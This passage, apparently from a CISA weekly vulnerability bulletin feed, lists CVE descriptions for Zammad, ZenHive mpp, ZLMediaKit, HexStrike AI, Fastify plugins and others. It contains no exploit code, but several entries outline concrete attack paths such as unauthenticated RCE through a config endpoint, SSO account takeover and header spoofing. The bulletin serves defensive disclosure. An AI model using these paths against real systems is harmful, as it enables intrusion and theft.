&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. In 7.0.2 and 7.1.0, zammad&#039;s session management for websocket and long-polling connections is susceptible to a path traversal attack. Session identifiers supplied by the client are insufficiently validated before being used to construct internal file paths. When the file-based session store is active (the default configuration), an authenticated attacker can manipulate the session identifier to reference locations outside the intended storage directory, leading to the deletion of arbitrary files and directories on the server. Exploitation requires only a low-privilege authenticated session and a single crafted request. Instances configured to use the Redis-based session store are not affected. This issue is fixed in versions 7.0.3 and 7.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61525&quot; target=&quot;_blank&quot;&gt;CVE-2026-61525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. In 7.0.3 and 7.1.1, under certain conditions, Zammad&#039;s verification of inbound PGP-signed email can mark a message as carrying a valid (&quot;Good&quot;) PGP signature from a registered sender key, even though the displayed message content is not actually covered by that signature. As a result, the inbound article may be stored with a successful signature status that does not reflect the authenticity of the shown content. This can mislead agents who rely on the signature indicator when assessing the trustworthiness of incoming mail. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61855&quot; target=&quot;_blank&quot;&gt;CVE-2026-61855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, attacker-controlled HTML in inbound emails or tickets could bypass the image URL sanitizer using path traversal sequences. When an authenticated agent views the content, the browser resolves the URL to a protected API endpoint and sends the request with the agent&#039;s session cookie, enabling side effects such as forced logout without any user interaction. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63006&quot; target=&quot;_blank&quot;&gt;CVE-2026-63006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, an authenticated user with agent permissions can supply an arbitrary AI analytics run identifier to the ticket summarize endpoint and receive the AI provider error message stored for that run, even if the run belongs to a ticket the agent is not authorized to access. The disclosure is limited to the provider error string; ticket content is not exposed. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63204&quot; target=&quot;_blank&quot;&gt;CVE-2026-63204&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, when creating or updating an email signature, Zammad processes inline images referenced in the signature body. If a signature body contains an HTML img tag pointing to any existing attachment, the system copies that attachment into a new signature-owned record, without checking whether the user has permission to access the original attachment. The newly created copy is then downloadable by the same channel-admin user, because attachment access is determined by the copy&#039;s owner (the signature), not the original object (e.g., a ticket or knowledge-base article). This allows a user with any of the admin.channel_email, admin.channel_google, admin.channel_microsoft365, or admin.channel_microsoft_graph permissions to read attachments they would otherwise be denied access to, such as ticket attachments belonging to groups they are not a member of. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63205&quot; target=&quot;_blank&quot;&gt;CVE-2026-63205&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, zammad&#039;s HTML sanitizer, which blocks remote images in ticket articles and email views, can be bypassed using a shortened URL format that omits the double slash after the scheme (for example a shortened HTTP URL instead of a shortened HTTP URL). Modern browsers treat both forms as equivalent remote URLs. As a result, an attacker who sends a crafted email or ticket can cause the recipient&#039;s browser to silently load an image from an external server, revealing when and by whom the ticket was opened. Zammad&#039;s &quot;remote content blocked&quot; warning is not shown because the sanitizer does not recognize the shortened form as remote. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63206&quot; target=&quot;_blank&quot;&gt;CVE-2026-63206&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. In 7.0.3 and 7.1.1, an authenticated administrator can obtain stored integration credentials in cleartext through the integration administration API. Certain responses do not consistently mask sensitive fields, so configured secrets can be returned in plain text instead of the expected masked placeholder. Both the LDAP and Exchange integrations are affected. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63207&quot; target=&quot;_blank&quot;&gt;CVE-2026-63207&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, when a Microsoft Graph request fails, Zammad logs the error including the authentication token used to access the mailbox. The system attempts to hide this token in the log, but the masking is incomplete: for the token format Microsoft uses (JWT), only the first part is hidden, while the remaining parts remain readable in plain text. A Zammad admin with Microsoft Graph channel access can view these logs and see the partial token, which may reveal sensitive claims such as the account scope, tenant, or timing, and could assist in reconstructing the full token while it is still valid. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63208&quot; target=&quot;_blank&quot;&gt;CVE-2026-63208&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, unsanitized option labels are rendered in the configuration dialogs of AI Agents within Zammad&#039;s admin UI. When rendering the list of selected options, the option label is output as raw HTML without escaping. An attacker who can control an option label, for example by setting a malicious string as a user or organization name used in a relation attribute, or by supplying a crafted custom attribute option value, can inject arbitrary HTML and JavaScript. The payload executes in the browser of any admin or agent who opens the affected object attribute configuration view. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63216&quot; target=&quot;_blank&quot;&gt;CVE-2026-63216&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, the legacy destroy_form action on AttachmentsController deletes UploadCache Store records based solely on a user-supplied form_id without verifying that the requesting user owns those records. An authenticated attacker who learns another user&#039;s pending-upload UUID can silently remove temporary file uploads before the victim submits their ticket or article. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65828&quot; target=&quot;_blank&quot;&gt;CVE-2026-65828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, when the &quot;Automatic account link on initial logon&quot; setting is enabled, Zammad binds an incoming third-party (SSO) identity to an existing local account by matching the email address the identity provider reports, without verifying that the provider actually confirmed ownership of that email. An attacker who controls any identity at a configured provider, including, by default, any Azure AD tenant via Zammad&#039;s multi-tenant Microsoft 365 /common app registration, can set that identity&#039;s email to a victim&#039;s address, authenticate, and be logged in as the victim. This bypasses the victim&#039;s local password entirely and affects any existing account, including agents and administrators. Zammad will honor the xms_edov ID token claim when email verification is required in the Microsoft 365 setting, treating a missing claim as unverified. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84458&quot; target=&quot;_blank&quot;&gt;CVE-2026-84458&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, any authenticated user can call the REST endpoint for getting a tag list and receive the tag names for the given ticket, regardless of whether they have access to that ticket. Tags are an internal categorization feature and may contain sensitive labels. Ticket IDs are sequential integers, making bulk enumeration straightforward. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84460&quot; target=&quot;_blank&quot;&gt;CVE-2026-84460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, the two-factor login step let an attacker try unlimited password guesses for any account without triggering Zammad&#039;s normal lockout or rate limiting. The response also revealed whether a guess was correct, even before two-factor authentication was checked. This made it possible to brute-force weak or reused passwords. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84461&quot; target=&quot;_blank&quot;&gt;CVE-2026-84461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, a security filter that protects Zammad&#039;s AI Agent configuration can be bypassed by entering specially crafted text into one of an AI Agent&#039;s fields. An administrator with permission to create or edit AI Agents could exploit this to run arbitrary commands on the server that hosts Zammad, potentially reading, modifying, or destroying all data stored on that server. No interaction from other users is needed; the malicious code runs automatically the next time the affected AI Agent processes a ticket. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84462&quot; target=&quot;_blank&quot;&gt;CVE-2026-84462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, a user with Knowledge Base editing rights for a category can embed a video widget in a published answer with a specially crafted value. When the answer is rendered, that value is inserted into the page&#039;s HTML without being escaped for its attribute context, allowing it to break out and inject additional HTML into the page. When another user who has permission to switch between user sessions views the affected answer, the injected HTML causes their browser to silently send a request to Zammad&#039;s session-switching endpoint using their own active credentials. This results in switching their session to an account chosen by the person who wrote the Knowledge Base answer. No action is required from the viewer beyond opening the published answer. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84463&quot; target=&quot;_blank&quot;&gt;CVE-2026-84463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, zammad&#039;s External Data Source feature, used to look up records from an external system, did not properly verify whether a user was allowed to see a specific ticket, user, group, or organization before including its details in a request to that external system. An authenticated user, including one with only basic customer access, could exploit this by referencing another record&#039;s ID, and thereby view details of tickets, customer accounts, teams, or organizations that did not belong to them. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84464&quot; target=&quot;_blank&quot;&gt;CVE-2026-84464&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, when Zammad checks the digital signature on an incoming S/MIME-signed email, it does not verify that the signing certificate is genuinely trusted, it only checks whether a certificate with a matching name is already stored in the system. An attacker can create their own certificate using the name of a real, previously trusted sender and use it to send a forged email. Zammad will display that email with the same &quot;validly signed&quot; indicator as a genuine message from the real sender, even though the attacker never had access to that sender&#039;s actual certificate or private key. This issue is fixed in version 7.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84465&quot; target=&quot;_blank&quot;&gt;CVE-2026-84465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZBar --ZBar&amp;nbsp;&lt;/td&gt;
&lt;td&gt;ZBar commit 2ea2ca58 contains an undefined-behavior vulnerability in the Code 128 decode6() function. When processing specially crafted Code 128 input, decode_e() can return -1 for an invalid edge pattern, and decode6() subsequently left-shifts this negative signed value while constructing the edge signature. The operation invokes undefined behavior and can terminate trap-mode UBSan builds with SIGILL, resulting in denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88371&quot; target=&quot;_blank&quot;&gt;CVE-2026-88371&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZenHive--mpp&lt;/td&gt;
&lt;td&gt;Authentication Bypass by Capture-replay in ZenHive mpp allows an attacker holding a captured subscription activation credential to charge the payer repeatedly. The payer signs a Tempo KeyAuthorization over the chain id, key type, key id, expiry, limits and scopes only, with nothing tying it to the challenge that prompted it. MPP.Methods.Tempo.KeyAuthorization.verify/3 in lib/mpp/methods/tempo/key_authorization.ex pins each of those signed fields against the subscription request, and the access key it pins is a static per-endpoint server key, so one signed authorization verifies against every challenge the server issues for the same subscription terms. MPP.Methods.Tempo.Subscription.activate/4 deduplicates activations by challenge id, so presenting the captured credential under a fresh challenge produces a different dedup key, claim_activation succeeds, and the subscription transaction is built and broadcast again. Each replay charges the payer&#039;s wallet a new first-period settlement and re-authorizes the server key, bounded only by the subscription expiry and the chain&#039;s own semantics for re-installing an existing key. This issue affects mpp: from 0.14.0 before 0.16.2.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87119&quot; target=&quot;_blank&quot;&gt;CVE-2026-87119&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZenHive--mpp&lt;/td&gt;
&lt;td&gt;Improper Validation of Specified Quantity in Input in ZenHive mpp allows a client holding an open payment channel to obtain paid resources without being charged. MPP.Session.Actions.accept_voucher/3 in lib/mpp/session/actions.ex treats a voucher whose cumulativeAmount equals the channel&#039;s already-accepted cumulative amount as an idempotent success, returning the channel unchanged without calling maybe_spend/2. The credential verifies, the protected resource is served, and spent and units stay where they were. Because the server issues a fresh challenge per request and the credential replay store keys on challenge id and payload, the same signed voucher can be re-presented under every new challenge, so one paid voucher yields an unbounded number of paid units. The path is reachable from any method built on MPP.Session.Method through the Plug, MCP, JSON-RPC and WebSocket transports. This issue affects mpp: from 0.14.0 before 0.16.2.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89420&quot; target=&quot;_blank&quot;&gt;CVE-2026-89420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZLMediaKit--ZLMediaKit&lt;/td&gt;
&lt;td&gt;Incorrect Access Control in the HTTP API module in ZLMediaKit commit 9fd5152 allows remote attackers to achieve Remote Code Execution (RCE) via unauthenticated access to the setServerConfig API endpoint, which permits overwriting the ffmpeg.snap configuration parameter with arbitrary shell commands. These commands are subsequently executed through the getSnap API endpoint with the privileges of the ZLMediaKit process.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67827&quot; target=&quot;_blank&quot;&gt;CVE-2026-67827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zportals--zportals&lt;/td&gt;
&lt;td&gt;The zportals WordPress plugin before 6.4.2 does not perform any capability or nonce check on several of its AJAX actions, allowing users with a subscriber-level account to modify the zportals WordPress plugin before 6.4.2&#039;s stored integration settings.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18364&quot; target=&quot;_blank&quot;&gt;CVE-2026-18364&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zportals--zportals&lt;/td&gt;
&lt;td&gt;The zportals WordPress plugin before 6.4.2 does not perform any capability or nonce check on one of its AJAX actions, allowing users with a subscriber-level account to disclose the display name and email address of every registered user, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18365&quot; target=&quot;_blank&quot;&gt;CVE-2026-18365&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zserge -- jsmn&amp;nbsp;&lt;/td&gt;
&lt;td&gt;zserge jsmn commit 25647e6 is vulnerable to Buffer Overflow in example/jsondump.c dump().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88369&quot; target=&quot;_blank&quot;&gt;CVE-2026-88369&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</description>
  <pubDate>Mon, 28 Sep 2026 07:32:46 EDT</pubDate>
    <dc:creator>CISA</dc:creator>
    <guid isPermaLink="false">/node/25556</guid>
    </item>
<item>
  <title>Vulnerability Summary for the Week of September 14, 2026</title>
  <link>https://www.cisa.gov/news-events/bulletins/sb26-264</link>
  <description>&lt;div id=&quot;high_v&quot;&gt;
&lt;h2 id=&quot;high_v_title&quot;&gt;High Vulnerabilities&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; border=&quot;1&quot; summary=&quot;High Vulnerabilities&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;03-lovepreetSingh--MCP&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in 03-lovepreetSingh MCP up to f95d035c5317fad81af9828286631053ccb23546. This issue affects the function create_file of the file app/api/mcp/route.ts. Such manipulation of the argument filePath/content leads to path traversal. The attack can be launched remotely. The exploit is publicly available and might be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94044&quot; target=&quot;_blank&quot;&gt;CVE-2026-94044&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;0x4m4--HexStrike AI&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in 0x4m4 HexStrike AI up to d689933ff579d839c676c82b231f8e98326c5f04. The impacted element is the function FileOperationsManager of the file hexstrike_server.py of the component API Files Endpoint. The manipulation of the argument filename leads to path traversal. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90691&quot; target=&quot;_blank&quot;&gt;CVE-2026-90691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;0x4m4--HexStrike AI&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in 0x4m4 HexStrike AI up to d689933ff579d839c676c82b231f8e98326c5f04. Impacted is an unknown function of the file hexstrike_server.py of the component Execute Endpoint. The manipulation of the argument code/script leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90619&quot; target=&quot;_blank&quot;&gt;CVE-2026-90619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;0x4m4--HexStrike AI&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in 0x4m4 HexStrike AI up to d689933ff579d839c676c82b231f8e98326c5f04. The impacted element is an unknown function of the file hexstrike_server.py of the component API Command Endpoint. This manipulation causes missing authentication. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90620&quot; target=&quot;_blank&quot;&gt;CVE-2026-90620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;0x4m4--HexStrike AI&lt;/td&gt;
&lt;td&gt;A weakness has been identified in 0x4m4 HexStrike AI up to d689933ff579d839c676c82b231f8e98326c5f04. The affected element is the function subprocess.Popen of the file hexstrike_server.py of the component API Tools Endpoint. Executing a manipulation of the argument additional_args/target/username/password/scan_type/payload can lead to os command injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. A fix appears to be in progress.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90690&quot; target=&quot;_blank&quot;&gt;CVE-2026-90690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;7rulnik--source-map-js&lt;/td&gt;
&lt;td&gt;source-map-js through 1.2.1 fails to validate the per-section offset line value in indexed source maps, allowing attackers to specify arbitrary numeric values. Attackers can supply extremely large offset line values that cause synchronous event loop blocking for extended periods, preventing the service from handling other requests.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93749&quot; target=&quot;_blank&quot;&gt;CVE-2026-93749&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;@fastify/auth--@fastify/auth&lt;/td&gt;
&lt;td&gt;@fastify/auth is a Fastify plugin that composes multiple authentication and authorization strategies into a single route guard. In versions 5.0.0 through 5.1.0, when strategies are composed with the relation &quot;or&quot; option together with the run &quot;all&quot; option and one entry is a nested array acting as an AND group, the group is evaluated in an order-dependent way: an earlier failing check is silently dropped and the group&#039;s result becomes the outcome of its last check. As a result, a request that satisfies only the last member of an AND group, for example an attacker who holds a valid API key but is not an administrator, is authorized instead of rejected, and a related order-dependent bypass affects the mirror configuration where the top-level relation is &quot;and&quot; and a nested group uses &quot;or&quot;. The issue is fixed in @fastify/auth 5.1.1, and users should upgrade to 5.1.1 or later. As a workaround, omit the run &quot;all&quot; option where it is not required, order each AND group so its stricter check is evaluated last, or replace nested AND groups with an explicit top-level &quot;and&quot; composition.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92087&quot; target=&quot;_blank&quot;&gt;CVE-2026-92087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;@fastify/proxy-addr--@fastify/proxy-addr&lt;/td&gt;
&lt;td&gt;@fastify/proxy-addr is a Fastify plugin that determines a request&#039;s client address behind trusted reverse proxies, and it backs Fastify request.ip and request.ips. In versions 3.0.0 through 5.1.0, a trust subnet written in IPv4-mapped IPv6 notation with an IPv4-sized prefix, such as ::ffff:10.0.0.0/8 instead of the correct ::ffff:10.0.0.0/104, is accepted without error but trusts every IPv4 address on the internet rather than the block it names. Because the socket peer then becomes trusted at hop 0, any unauthenticated client can supply an arbitrary X-Forwarded-For header and control the address the application reads, which defeats IP-based access control, rate limiting, geolocation, and audit logging. The plugin inherited this defect from the upstream proxy-addr module (CVE-2026-90711). The issue is fixed in @fastify/proxy-addr 5.1.1, and users should upgrade to 5.1.1 or later. As a workaround, ensure any IPv4-mapped IPv6 trust subnet uses a prefix length of at least 97, or express the range in plain IPv4 notation.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92395&quot; target=&quot;_blank&quot;&gt;CVE-2026-92395&lt;/a&gt;&lt;/td&gt;
